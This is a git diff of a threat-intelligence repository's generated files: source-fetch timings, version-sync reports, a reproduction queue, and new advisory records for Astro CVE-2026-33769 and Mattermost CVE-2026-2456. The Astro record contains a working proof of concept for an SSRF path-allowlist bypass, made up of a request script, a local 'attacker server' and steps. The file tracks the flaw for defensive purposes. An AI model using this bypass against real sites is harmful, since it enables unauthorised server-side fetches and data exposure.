"system_id": "woocommerce",
"source_name": "Patchstack Database",
"source_kind": "html-links",
- "elapsed_seconds": 1.183,
+ "elapsed_seconds": 1.095,
"kind": "html-links",
"items_seen": 193
},
@@ -771,7 +771,7 @@
"system_id": "woocommerce",
"source_name": "Woo Developer Advisories",
"source_kind": "html-links",
- "elapsed_seconds": 1.636,
+ "elapsed_seconds": 1.069,
"kind": "html-links",
"items_seen": 121
},
@@ -779,7 +779,7 @@
"system_id": "woocommerce",
"source_name": "Wordfence Vulnerability Database",
"source_kind": "html-links",
- "elapsed_seconds": 1.106,
+ "elapsed_seconds": 1.095,
"kind": "html-links",
"items_seen": 0
},
@@ -787,7 +787,7 @@
"system_id": "wordpress",
"source_name": "Patchstack Database",
"source_kind": "html-links",
- "elapsed_seconds": 1.185,
+ "elapsed_seconds": 0.009,
"kind": "html-links",
"items_seen": 193
},
@@ -795,7 +795,7 @@
"system_id": "wordpress",
"source_name": "PortSwigger Research",
"source_kind": "html-links",
- "elapsed_seconds": 1.336,
+ "elapsed_seconds": 1.594,
"kind": "html-links",
"items_seen": 99
},
@@ -803,7 +803,7 @@
"system_id": "wordpress",
"source_name": "WPScan Vulnerability Database",
"source_kind": "html-links",
- "elapsed_seconds": 1.108,
+ "elapsed_seconds": 1.582,
"kind": "html-links",
"items_seen": 74
},
@@ -811,7 +811,7 @@
"system_id": "wordpress",
"source_name": "WordPress Security News RSS",
"source_kind": "rss-feed",
- "elapsed_seconds": 1.483,
+ "elapsed_seconds": 1.912,
"kind": "rss-feed",
"items_seen": 10
},
@@ -819,7 +819,7 @@
"system_id": "wordpress",
"source_name": "Wordfence Vulnerability Database",
"source_kind": "html-links",
- "elapsed_seconds": 0.34,
+ "elapsed_seconds": 0.009,
"kind": "html-links",
"items_seen": 0
}
@@ -830,70 +830,70 @@
"system_id": "moodle",
"source_name": "OSV Moodle",
"source_kind": "osv-batch",
- "elapsed_seconds": 37.993,
+ "elapsed_seconds": 8.986,
"status": "ok"
},
{
- "system_id": "redmine",
- "source_name": "Redmine Security Advisories",
- "source_kind": "html-links",
- "elapsed_seconds": 36.813,
+ "system_id": "adobe-commerce",
+ "source_name": "Adobe Magento Security Index",
+ "source_kind": "vendor-index",
+ "elapsed_seconds": 6.387,
"status": "ok"
},
{
- "system_id": "mattermost",
- "source_name": "OSV Mattermost",
+ "system_id": "mediawiki",
+ "source_name": "OSV MediaWiki",
"source_kind": "osv-batch",
- "elapsed_seconds": 36.592,
- "status": "ok"
- },
- {
- "system_id": "opencart",
- "source_name": "OpenCart Releases",
- "source_kind": "html-links",
- "elapsed_seconds": 36.392,
- "status": "ok"
- },
- {
- "system_id": "kibana",
- "source_name": "Elastic Product Security",
- "source_kind": "html-links",
- "elapsed_seconds": 36.254,
- "status": "ok"
- },
- {
- "system_id": "django",
- "source_name": "OSV Django",
- "source_kind": "osv-batch",
- "elapsed_seconds": 36.192,
- "status": "ok"
- },
- {
- "system_id": "kibana",
- "source_name": "NVD Kibana",
- "source_kind": "nvd-search",
- "elapsed_seconds": 36.067,
- "status": "ok"
- },
- {
- "system_id": "haproxy",
- "source_name": "HAProxy Blog Feed",
- "source_kind": "rss-feed",
- "elapsed_seconds": 36.064,
- "status": "ok"
- },
- {
- "system_id": "gitlab-ce",
- "source_name": "GitLab Advisory Database",
- "source_kind": "html-links",
- "elapsed_seconds": 35.891,
+ "elapsed_seconds": 5.941,
"status": "ok"
},
{
"system_id": "redmine",
"source_name": "OSV Redmine",
"source_kind": "osv-batch",
- "elapsed_seconds": 35.697,
+ "elapsed_seconds": 5.509,
+ "status": "ok"
+ },
+ {
+ "system_id": "kibana",
+ "source_name": "NVD Kibana",
+ "source_kind": "nvd-search",
+ "elapsed_seconds": 5.239,
+ "status": "ok"
+ },
+ {
+ "system_id": "phpmyadmin",
+ "source_name": "OSV phpMyAdmin",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 5.239,
+ "status": "ok"
+ },
+ {
+ "system_id": "gitea",
+ "source_name": "OSV Gitea",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 5.232,
+ "status": "ok"
+ },
+ {
+ "system_id": "mattermost",
+ "source_name": "OSV Mattermost",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 5.204,
+ "status": "ok"
+ },
+ {
+ "system_id": "gin",
+ "source_name": "OSV Gin",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 4.84,
+ "status": "ok"
+ },
+ {
+ "system_id": "django",
+ "source_name": "OSV Django",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 4.695,
"status": "ok"
}
],
diff --git a/08-threat-intel/generated/version-backlog.json b/08-threat-intel/generated/version-backlog.json
index 6f348074..aa53d91c 100644
--- a/08-threat-intel/generated/version-backlog.json
+++ b/08-threat-intel/generated/version-backlog.json
@@ -1,5 +1,5 @@
{
- "generated_at": "2026-03-26T10:20:34+00:00",
+ "generated_at": "2026-03-27T09:31:00+00:00",
"source_gap_entities": [
{
"entity_id": "adminer",
diff --git a/08-threat-intel/generated/version-completeness.json b/08-threat-intel/generated/version-completeness.json
index 734a524e..2214ef2d 100644
--- a/08-threat-intel/generated/version-completeness.json
+++ b/08-threat-intel/generated/version-completeness.json
@@ -1,9 +1,9 @@
{
- "generated_at": "2026-03-26T10:20:34+00:00",
+ "generated_at": "2026-03-27T09:31:00+00:00",
"cataloged_entity_total": 110,
"latest_version_synced_count": 95,
"source_gap_count": 15,
- "security_version_total": 6297,
+ "security_version_total": 6307,
"security_version_entity_count": 83,
"auto_promoted_entity_count": 10,
"lab_enqueued_count": 3,
@@ -109,14 +109,14 @@
"cataloged_entity_total": 3,
"latest_version_synced_count": 3,
"source_gap_count": 0,
- "security_version_count": 30,
+ "security_version_count": 32,
"auto_promoted_count": 0,
"latest_versions": [
{
"entity_id": "astro",
"display_name": "Astro",
"entity_type": "system",
- "latest_version": "6.0.8",
+ "latest_version": "6.1.1",
"latest_release_at": "2025-11-20T14:43:59.624508Z",
"version_sync_status": "green"
},
@@ -124,7 +124,7 @@
"entity_id": "astro--project--astro",
"display_name": "astro",
"entity_type": "project",
- "latest_version": "6.0.8",
+ "latest_version": "6.1.1",
"latest_release_at": "2025-11-27T08:22:36.525875Z",
"version_sync_status": "green"
},
@@ -132,7 +132,7 @@
"entity_id": "astro--module--astro",
"display_name": "astro",
"entity_type": "module",
- "latest_version": "6.0.8",
+ "latest_version": "6.1.1",
"latest_release_at": "2025-11-20T14:43:59.624508Z",
"version_sync_status": "green"
}
@@ -396,16 +396,16 @@
"entity_id": "ghost",
"display_name": "Ghost",
"entity_type": "system",
- "latest_version": "6.22.1",
- "latest_release_at": "2026-03-20T15:25:05Z",
+ "latest_version": "6.23.0",
+ "latest_release_at": "2026-03-26T15:04:27Z",
"version_sync_status": "green"
},
{
"entity_id": "ghost--repo--tryghost-ghost",
"display_name": "TryGhost / Ghost",
"entity_type": "repo",
- "latest_version": "6.22.1",
- "latest_release_at": "2026-03-20T15:25:05Z",
+ "latest_version": "6.23.0",
+ "latest_release_at": "2026-03-26T15:04:27Z",
"version_sync_status": "green"
}
]
@@ -648,7 +648,7 @@
"cataloged_entity_total": 5,
"latest_version_synced_count": 5,
"source_gap_count": 0,
- "security_version_count": 3840,
+ "security_version_count": 3848,
"auto_promoted_count": 0,
"latest_versions": [
{
@@ -659,14 +659,6 @@
"latest_release_at": "2023-10-03",
"version_sync_status": "green"
},
- {
- "entity_id": "mattermost--project--mattermost-server",
- "display_name": "Mattermost Server",
- "entity_type": "project",
- "latest_version": "26.2.1",
- "latest_release_at": "2023-10-03",
- "version_sync_status": "green"
- },
{
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"display_name": "mattermost / mattermost-server",
@@ -675,6 +667,14 @@
"latest_release_at": "2026-03-16T08:26:52Z",
"version_sync_status": "green"
},
+ {
+ "entity_id": "mattermost--project--mattermost-server",
+ "display_name": "Mattermost Server",
+ "entity_type": "project",
+ "latest_version": "26.2.1",
+ "latest_release_at": "2023-10-03",
+ "version_sync_status": "green"
+ },
{
"entity_id": "mattermost--plugin--mattermost-plugins",
"display_name": "Mattermost Plugins",
@@ -1217,24 +1217,24 @@
"entity_id": "traefik",
"display_name": "Traefik",
"entity_type": "system",
- "latest_version": "2.11.42",
- "latest_release_at": "2026-03-26T09:02:56Z",
+ "latest_version": "3.7.0-ea.3",
+ "latest_release_at": "2026-03-26T11:10:20Z",
"version_sync_status": "green"
},
{
"entity_id": "traefik--repo--github-com-traefik-traefik-v3",
"display_name": "traefik / traefik / v3",
"entity_type": "repo",
- "latest_version": "2.11.42",
- "latest_release_at": "2026-03-26T09:02:56Z",
+ "latest_version": "3.7.0-ea.3",
+ "latest_release_at": "2026-03-26T11:10:20Z",
"version_sync_status": "green"
},
{
"entity_id": "traefik--extension--github-com-traefik-traefik-v3",
"display_name": "traefik / traefik / v3",
"entity_type": "extension",
- "latest_version": "2.11.42",
- "latest_release_at": "2026-03-26T09:02:56Z",
+ "latest_version": "3.7.0-ea.3",
+ "latest_release_at": "2026-03-26T11:10:20Z",
"version_sync_status": "green"
}
]
diff --git a/08-threat-intel/generated/version-sync-report.md b/08-threat-intel/generated/version-sync-report.md
index 07e18604..447945c7 100644
--- a/08-threat-intel/generated/version-sync-report.md
+++ b/08-threat-intel/generated/version-sync-report.md
@@ -1,10 +1,10 @@
# 安全相关版本同步报告
-- 生成时间: `2026-03-26T10:20:34+00:00`
+- 生成时间: `2026-03-27T09:31:00+00:00`
- 已编目实体: `110`
- 最新版本已同步: `95`
- 版本 source-gap: `15`
-- 安全相关版本记录: `6297`
+- 安全相关版本记录: `6307`
- 存在安全版本历史的实体: `83`
- 自动升级实体: `10`
- 因版本变化触发 lab 入队: `3`
@@ -19,7 +19,7 @@
| apache-httpd | 1 | 1 | 0 | 1 | 0 |
| apache-tomcat | 1 | 1 | 0 | 2 | 0 |
| aspnet-core | 1 | 0 | 1 | 0 | 0 |
-| astro | 3 | 3 | 0 | 30 | 0 |
+| astro | 3 | 3 | 0 | 32 | 0 |
| caddy | 3 | 3 | 0 | 7 | 0 |
| directus | 2 | 2 | 0 | 2 | 1 |
| discourse | 1 | 1 | 0 | 80 | 0 |
@@ -43,7 +43,7 @@
| koa | 2 | 2 | 0 | 4 | 0 |
| laravel | 2 | 2 | 0 | 103 | 0 |
| magento-open-source | 2 | 2 | 0 | 6 | 1 |
-| mattermost | 5 | 5 | 0 | 3840 | 0 |
+| mattermost | 5 | 5 | 0 | 3848 | 0 |
| mediawiki | 1 | 1 | 0 | 252 | 0 |
| medusa | 1 | 0 | 1 | 0 | 0 |
| moodle | 1 | 0 | 1 | 0 | 0 |
diff --git a/08-threat-intel/queue/repro-queue.json b/08-threat-intel/queue/repro-queue.json
index 6f3b461b..79fa6354 100644
--- a/08-threat-intel/queue/repro-queue.json
+++ b/08-threat-intel/queue/repro-queue.json
@@ -11874,6 +11874,21 @@
"advisory_id": "prestashop--CVE-2026-33674",
"system_id": "prestashop",
"priority": "version-sync"
+ },
+ {
+ "advisory_id": "astro--CVE-2026-33769",
+ "system_id": "astro",
+ "priority": "version-sync"
+ },
+ {
+ "advisory_id": "mattermost--CVE-2026-2456",
+ "system_id": "mattermost",
+ "priority": "version-sync"
+ },
+ {
+ "advisory_id": "mattermost--CVE-2026-25783",
+ "system_id": "mattermost",
+ "priority": "version-sync"
}
]
}
diff --git a/08-threat-intel/registry/advisories/astro--CVE-2026-33769.json b/08-threat-intel/registry/advisories/astro--CVE-2026-33769.json
new file mode 100644
index 00000000..b125594b
--- /dev/null
+++ b/08-threat-intel/registry/advisories/astro--CVE-2026-33769.json
@@ -0,0 +1,181 @@
+{
+ "canonical_id": "astro--CVE-2026-33769",
+ "system_id": "astro",
+ "display_name": "Astro",
+ "category": "frameworks",
+ "advisory_mode": "core",
+ "title": "Astro: Remote allowlist bypass via unanchored matchPathname wildcard",
+ "summary": "## Summary\nThis issue concerns Astro's `remotePatterns` path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for `/*` wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.\n\n## Impact\nAttackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.\n\n## Description\nTaint flow: request -> `transform.src` -> `isRemoteAllowed()` -> `matchPattern()` -> `matchPathname()`\n\nUser-controlled `href` is parsed into `transform.src` and validated via `isRemoteAllowed()`:\n\nSource: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56\n\n```ts\nconst url = new URL(request.url);\nconst transform = await imageService.parseURL(url, imageConfig);\n\nconst isRemoteImage = isRemotePath(transform.src);\n\nif (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) {\n return new Response('Forbidden', { status: 403 });\n}\n```\n\n`isRemoteAllowed()` checks each `remotePattern` via `matchPattern()`:\n\nSource: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21\n\n```ts\nexport function matchPattern(url: URL, remotePattern: RemotePattern): boolean {\n return (\n matchProtocol(url, remotePattern.protocol) &&\n matchHostname(url, remotePattern.hostname, true) &&\n matchPort(url, remotePattern.port) &&\n matchPathname(url, remotePattern.pathname, true)\n );\n}\n```\n\nThe vulnerable logic in `matchPathname()` uses `replace()` without anchoring the prefix for `/*` patterns:\n\nSource: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99\n\n```ts\n} else if (pathname.endsWith('/*')) {\n const slicedPathname = pathname.slice(0, -1); // * length\n const additionalPathChunks = url.pathname\n .replace(slicedPathname, '')\n .split('/')\n .filter(Boolean);\n return additionalPathChunks.length === 1;\n}\n```\n\n**Vulnerable code flow:**\n1. `isRemoteAllowed()` evaluates `remotePatterns` for a requested URL.\n2. `matchPathname()` handles `pathname: \"/img/*\"` using `.replace()` on the URL path.\n3. A path such as `/evil/img/secret` incorrectly matches because `/img/` is removed even when it's not at the start.\n4. The image endpoint fetches and returns the remote resource.\n\n## PoC\n\nThe PoC starts a local attacker server and configures remotePatterns to allow only `/img/*`. It then requests the image endpoint with two URLs: an allowed path and a bypass path with `/img/` in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.\n\n### Vulnerable config\n```js\nimport { defineConfig } from 'astro/config';\nimport node from '@astrojs/node';\n\nexport default defineConfig({\n output: 'server',\n adapter: node({ mode: 'standalone' }),\n image: {\n remotePatterns: [\n { protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' },\n { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' },\n ],\n },\n});\n```\n\n### Affected pages\nThis PoC targets the `/_image` endpoint directly; no additional pages are required.\n\n### PoC Code\n```python\nimport http.client\nimport json\nimport urllib.parse\n\nHOST = \"127.0.0.1\"\nPORT = 4321\n\ndef fetch(path: str) -> dict:\n conn = http.client.HTTPConnection(HOST, PORT, timeout=10)\n conn.request(\"GET\", path, headers={\"Host\": f\"{HOST}:{PORT}\"})\n resp = conn.getresponse()\n body = resp.read(2000).decode(\"utf-8\", errors=\"replace\")\n conn.close()\n return {\n \"path\": path,\n \"status\": resp.status,\n \"reason\": resp.reason,\n \"headers\": dict(resp.getheaders()),\n \"body_snippet\": body[:400],\n }\n\nallowed = urllib.parse.quote(\"http://127.0.0.1:9999/img/allowed.svg\", safe=\"\")\nbypass = urllib.parse.quote(\"http://127.0.0.1:9999/evil/img/secret.svg\", safe=\"\")\n\n# Both pass, second should fail\n\nresults = {\n \"allowed\": fetch(f\"/_image?href={allowed}&f=svg\"),\n \"bypass\": fetch(f\"/_image?href={bypass}&f=svg\"),\n}\n\nprint(json.dumps(results, indent=2))\n```\n\n### Attacker server\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nHOST = \"127.0.0.1\"\nPORT = 9999\n\nPAYLOAD = \"\"\"\n\"\"\"\n\nclass Handler(BaseHTTPRequestHandler):\n def do_GET(self):\n print(f\">>> {self.command} {self.path}\")\n if self.path.endswith(\".svg\") or \"/img/\" in self.path:\n self.send_response(200)\n self.send_header(\"Content-Type\", \"image/svg+xml\")\n self.send_header(\"Cache-Control\", \"no-store\")\n self.end_headers()\n self.wfile.write(PAYLOAD.encode(\"utf-8\"))\n return\n\n self.send_response(200)\n self.send_header(\"Content-Type\", \"text/plain\")\n self.end_headers()\n self.wfile.write(b\"ok\")\n\n def log_message(self, format, *args):\n return\n\nif __name__ == \"__main__\":\n server = HTTPServer((HOST, PORT), Handler)\n print(f\"HTTP logger listening on http://{HOST}:{PORT}\")\n server.serve_forever()\n```\n\n### PoC Steps\n1. Bootstrap default Astro project.\n2. Add the vulnerable config and attacker server.\n3. Build the project.\n4. Start the attacker server.\n5. Start the Astro server.\n6. Run the PoC.\n7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.",
+ "published_at": "2026-03-26T18:45:17Z",
+ "updated_at": "2026-03-26T19:01:26.420643Z",
+ "severity": "low",
+ "cvss_score": 3.1,
+ "exploit_status": "unknown",
+ "source_confidence": "official",
+ "official_source_url": "https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f",
+ "secondary_source_urls": [
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-33769",
+ "https://github.com/withastro/astro"
+ ],
+ "aliases": [
+ "CVE-2026-33769",
+ "GHSA-g735-7g2w-hh3f"
+ ],
+ "cve_ids": [
+ "CVE-2026-33769"
+ ],
+ "ghsa_ids": [
+ "GHSA-g735-7g2w-hh3f"
+ ],
+ "osv_ids": [
+ "GHSA-g735-7g2w-hh3f"
+ ],
+ "affected_versions": [
+ "introduced=2.10.10, fixed<5.18.1"
+ ],
+ "fixed_versions": [
+ "5.18.1"
+ ],
+ "package_name": "astro",
+ "render_markdown": true,
+ "case_path": "07-framework-security/frameworks/astro/cases/astro-cve-2026-33769.md",
+ "secure_code_topics": [
+ "authz-server-side-recheck",
+ "csp-trusted-types",
+ "ssrf-url-validation",
+ "dependency-upgrade-policy"
+ ],
+ "status": "generated",
+ "triage_reasons": [],
+ "entity_refs": [
+ {
+ "entity_id": "astro",
+ "entity_type": "system",
+ "relation": "root-system",
+ "root_system_id": "astro",
+ "official": true
+ },
+ {
+ "entity_id": "astro--project--astro",
+ "entity_type": "project",
+ "relation": "affected-component",
+ "root_system_id": "astro",
+ "official": false
+ }
+ ],
+ "affected_components": [
+ {
+ "name": "astro",
+ "entity_id": "astro--project--astro",
+ "scope": "package",
+ "package_name": "astro",
+ "official": false
+ }
+ ],
+ "affected_version_ranges": [
+ "introduced=2.10.10, fixed<5.18.1"
+ ],
+ "fixed_version_ranges": [
+ "5.18.1"
+ ],
+ "introduced_version": "introduced=2.10.10, fixed<5.18.1",
+ "patched_version": "5.18.1",
+ "version_evidence_sources": [
+ "https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-33769",
+ "https://github.com/withastro/astro"
+ ],
+ "affected_version_refs": [
+ "astro--project--astro--introduced-2-10-10-fixed-5-18-1"
+ ],
+ "fixed_version_refs": [
+ "astro--project--astro--5-18-1"
+ ],
+ "patched_version_refs": [
+ "astro--project--astro--5-18-1"
+ ],
+ "version_sync_confidence": "high",
+ "advisory_scope": "package",
+ "version_confidence": "high",
+ "version_gap_reason": "",
+ "version_resolution_needed": false,
+ "workflow": {
+ "workflow_id": "astro--CVE-2026-33769--workflow",
+ "vuln_family": "ssrf",
+ "entry_surface": "remote-fetch-or-webhook-endpoint",
+ "preconditions": [
+ "\u4ec5\u5728 lab-local\u3001lab-public \u6216\u660e\u786e\u6388\u6743\u76ee\u6807\u4e2d\u6267\u884c\u3002",
+ "\u786e\u8ba4\u76ee\u6807\u547d\u4e2d\u7248\u672c\u65ad\u8a00: introduced=2.10.10, fixed<5.18.1",
+ "\u82e5\u5bf9\u8c61\u5c5e\u4e8e `package`\uff0c\u5148\u786e\u8ba4\u6269\u5c55/\u4ed3\u5e93/\u5305\u5df2\u542f\u7528\u5e76\u5904\u4e8e\u53d7\u5f71\u54cd\u7248\u672c\u3002"
+ ],
+ "required_role": "editor-or-admin",
+ "affected_version_assertion": [
+ "introduced=2.10.10, fixed<5.18.1"
+ ],
+ "trigger_vector": "\u5bf9 `ssrf` \u5bb6\u65cf\u5165\u53e3\u6295\u9012\u6700\u5c0f\u5316\u3001\u53ef\u5ba1\u8ba1\u3001\u53ef\u56de\u6eda\u7684\u53d7\u63a7\u8f93\u5165\uff0c\u6bd4\u8f83\u4fee\u590d\u524d\u540e\u5dee\u5f02\u3002",
+ "request_or_ui_path": [
+ "/webhook/test",
+ "/remote-fetch",
+ "/import-url"
+ ],
+ "input_shape": "\u63d0\u4ea4\u53d7\u63a7\u56de\u73af\u6216\u54e8\u5175 URL\uff0c\u9a8c\u8bc1\u534f\u8bae\u3001\u4e3b\u673a\u3001IP \u4e0e\u91cd\u5b9a\u5411\u9650\u5236\u3002",
+ "expected_unsafe_behavior": "\u670d\u52a1\u7aef\u5411\u53d7\u63a7\u76ee\u6807\u53d1\u8d77\u975e\u9884\u671f\u8bf7\u6c42\u3002",
+ "server_evidence_points": [
+ "\u5e94\u7528\u65e5\u5fd7\u4e2d\u7684\u547d\u4e2d\u8def\u5f84\u3001\u9274\u6743\u51b3\u7b56\u548c\u5f02\u5e38\u6808",
+ "\u53cd\u5411\u4ee3\u7406\u6216\u8fb9\u754c\u5c42\u65e5\u5fd7\u4e2d\u7684\u8bf7\u6c42\u5934\u3001\u6765\u6e90 IP \u4e0e\u8def\u7531\u51b3\u7b56"
+ ],
+ "browser_evidence_points": [
+ "\u57fa\u7ebf\u622a\u56fe\u4e0e\u653b\u51fb\u540e\u622a\u56fe\u7684 DOM/\u89c6\u89c9\u5dee\u5f02",
+ "console\u3001network \u4e0e response metadata \u4e2d\u7684\u5f02\u5e38\u4fe1\u53f7"
+ ],
+ "db_or_fs_evidence_points": [
+ "\u6570\u636e\u5e93\u4e2d\u65b0\u589e/\u8d8a\u6743\u8bfb\u53d6\u7684\u6d4b\u8bd5\u6570\u636e",
+ "\u6587\u4ef6\u7cfb\u7edf\u4e2d\u65b0\u589e\u4e0a\u4f20\u6837\u672c\u3001\u7f13\u5b58\u6761\u76ee\u6216\u8d8a\u6743\u8bfb\u53d6\u75d5\u8ff9"
+ ],
+ "detection_signals": [
+ "WAF / reverse proxy \u5f02\u5e38\u65e5\u5fd7\u3001\u8bbf\u95ee\u65e5\u5fd7\u548c\u544a\u8b66",
+ "\u5e94\u7528\u5ba1\u8ba1\u65e5\u5fd7\u4e2d\u7684\u6743\u9650\u9519\u8bef\u3001\u91cd\u5b9a\u5411\u5f02\u5e38\u3001\u6a21\u677f\u6e32\u67d3\u6216\u4e0a\u4f20\u843d\u76d8\u4e8b\u4ef6"
+ ],
+ "mitigation_summary": "\u4f18\u5148\u5347\u7ea7\u5230\u4fee\u590d\u7248\u672c\uff0c\u5e76\u540c\u65f6\u6536\u7d27\u8f93\u5165\u6821\u9a8c\u3001\u670d\u52a1\u7aef\u9274\u6743\u3001\u4ee3\u7406\u4fe1\u4efb\u8fb9\u754c\u3001\u6269\u5c55\u5b89\u88c5\u4fe1\u4efb\u548c\u5ba1\u8ba1\u65e5\u5fd7\u3002",
+ "patch_validation_steps": [
+ "\u786e\u8ba4\u76ee\u6807\u7248\u672c\u4ece `introduced=2.10.10, fixed<5.18.1` \u5347\u7ea7\u6216\u56de\u79fb\u5230 `5.18.1`\u3002",
+ "\u4fdd\u7559\u540c\u4e00\u7ec4\u53d7\u63a7\u8f93\u5165\uff0c\u5728\u4fee\u590d\u524d\u540e\u5206\u522b\u6267\u884c\u5e76\u6bd4\u5bf9\u54cd\u5e94\u3001\u65e5\u5fd7\u4e0e\u6d4f\u89c8\u5668\u8bc1\u636e\u3002",
+ "\u786e\u8ba4\u4fee\u590d\u540e\u4ec5\u4fdd\u7559\u9884\u671f\u4e1a\u52a1\u884c\u4e3a\uff0c\u4e0d\u518d\u89e6\u53d1\u8d8a\u6743\u3001\u56de\u663e\u3001\u5f02\u5e38\u6e32\u67d3\u6216\u9519\u8bef\u8bf7\u6c42\u3002",
+ "\u8865\u5145 `ssrf` \u65cf\u81ea\u52a8\u5316\u56de\u5f52\uff0c\u907f\u514d\u540c\u7c7b\u8def\u5f84\u5728\u63d2\u4ef6\u3001\u4e3b\u9898\u6216\u4ee3\u7406\u94fe\u4e2d\u56de\u5f52\u3002"
+ ],
+ "lab_safety_notes": [
+ "\u53ea\u4f7f\u7528\u56de\u73af\u5730\u5740\u3001\u54e8\u5175\u76ee\u6807\u3001\u65e0\u5bb3\u6837\u672c\u6216\u53ef\u56de\u6eda\u6d4b\u8bd5\u6570\u636e\u3002",
+ "\u7981\u6b62\u9020\u6210\u6301\u4e45\u7834\u574f\u3001\u8d8a\u6743\u4e0b\u8f7d\u771f\u5b9e\u6570\u636e\u6216\u4e0d\u53ef\u56de\u6eda side effect\u3002",
+ "\u5982\u9700\u6d4f\u89c8\u5668\u8bc1\u636e\uff0c\u4fdd\u7559 baseline / proof \u4e24\u4efd\u5feb\u7167\u4ee5\u53ca console / network \u8bb0\u5f55\u3002"
+ ],
+ "review_state": "ready"
+ },
+ "verification_status": "triage-manual",
+ "verification_mode": "synthetic",
+ "last_verified_at": null,
+ "last_run_id": null,
+ "evidence_bundle": null,
+ "historical_status": null,
+ "latest_status": null,
+ "browser_evidence": {
+ "required": false,
+ "present": false,
+ "refs": []
+ },
+ "repro_profile_id": "ssrf-generic",
+ "artifact_mode": "synthetic",
+ "blocked_reason": null,
+ "metadata": {
+ "source_names": [
+ "OSV Astro"
+ ],
+ "source_kinds": [
+ "osv-batch"
+ ],
+ "candidate_count": 1,
+ "entity_ref_count": 2,
+ "advisory_scope": "package",
+ "version_confidence": "high",
+ "workflow_id": "astro--CVE-2026-33769--workflow"
+ }
+}
diff --git a/08-threat-intel/registry/advisories/mattermost--CVE-2026-2456.json b/08-threat-intel/registry/advisories/mattermost--CVE-2026-2456.json
new file mode 100644
index 00000000..6b5d7c27
--- /dev/null
+++ b/08-threat-intel/registry/advisories/mattermost--CVE-2026-2456.json
@@ -0,0 +1,230 @@
+{
+ "canonical_id": "mattermost--CVE-2026-2456",
+ "system_id": "mattermost",
+ "display_name": "Mattermost",
+ "category": "platforms",
+ "advisory_mode": "core",
+ "title": "Mattermost fails to limit the size of responses from integration action endpoints",
+ "summary": "Mattermost versions 11.3.x <= 11.3.0, 11.2.x <= 11.2.2, 10.11.x <= 10.11.10 Mattermost fails to limit the size of responses from integration action endpoints, which allows an authenticated attacker to cause server memory exhaustion and denial of service via a malicious integration server that returns an arbitrarily large response when a user clicks an interactive message button. Mattermost Advisory ID: MMSA-2026-00571",
+ "published_at": "2026-03-16T15:30:43Z",
+ "updated_at": "2026-03-26T21:11:03.241919Z",
+ "severity": "low",
+ "cvss_score": 3.1,
+ "exploit_status": "unknown",
+ "source_confidence": "ecosystem-authority",
+ "official_source_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2456",
+ "secondary_source_urls": [
+ "https://github.com/advisories/GHSA-34g8-9fpp-46ch",
+ "https://github.com/mattermost/mattermost/commit/fe3052073dc67e3c920baf9fe7efd44ac1d8124c",
+ "https://github.com/mattermost/mattermost",
+ "https://mattermost.com/security-updates"
+ ],
+ "aliases": [
+ "CVE-2026-2456",
+ "GO-2026-4726",
+ "GHSA-34g8-9fpp-46ch"
+ ],
+ "cve_ids": [
+ "CVE-2026-2456"
+ ],
+ "ghsa_ids": [
+ "GHSA-34g8-9fpp-46ch"
+ ],
+ "osv_ids": [
+ "GHSA-34g8-9fpp-46ch",
+ "GO-2026-4726"
+ ],
+ "affected_versions": [
+ "introduced=0, fixed<8.0.0-20260127165411-fe3052073dc6",
+ "introduced=0, fixed<5.3.2-0.20260127165411-fe3052073dc6",
+ "introduced=10.11.0-rc1, fixed<10.11.11",
+ "introduced=11.2.0-rc1, fixed<11.2.3",
+ "introduced=11.3.0-rc1, fixed<11.3.1",
+ "introduced=10.11.0-rc1+incompatible, fixed<10.11.11+incompatible",
+ "introduced=0"
+ ],
+ "fixed_versions": [
+ "8.0.0-20260127165411-fe3052073dc6",
+ "5.3.2-0.20260127165411-fe3052073dc6",
+ "10.11.11",
+ "11.2.3",
+ "11.3.1",
+ "10.11.11+incompatible",
+ "11.2.3+incompatible",
+ "11.3.1+incompatible"
+ ],
+ "package_name": "github.com/mattermost/mattermost-server",
+ "render_markdown": true,
+ "case_path": "07-framework-security/platforms/mattermost/cases/mattermost-cve-2026-2456.md",
+ "secure_code_topics": [
+ "authz-server-side-recheck",
+ "xss-output-encoding",
+ "token-cookie-storage",
+ "dependency-upgrade-policy"
+ ],
+ "status": "generated",
+ "triage_reasons": [],
+ "entity_refs": [
+ {
+ "entity_id": "mattermost",
+ "entity_type": "system",
+ "relation": "root-system",
+ "root_system_id": "mattermost",
+ "official": true
+ },
+ {
+ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
+ "entity_type": "repo",
+ "relation": "affected-component",
+ "root_system_id": "mattermost",
+ "official": false
+ }
+ ],
+ "affected_components": [
+ {
+ "name": "mattermost / mattermost-server",
+ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
+ "scope": "repo",
+ "package_name": "github.com/mattermost/mattermost-server",
+ "official": false
+ }
+ ],
+ "affected_version_ranges": [
+ "introduced=0, fixed<8.0.0-20260127165411-fe3052073dc6",
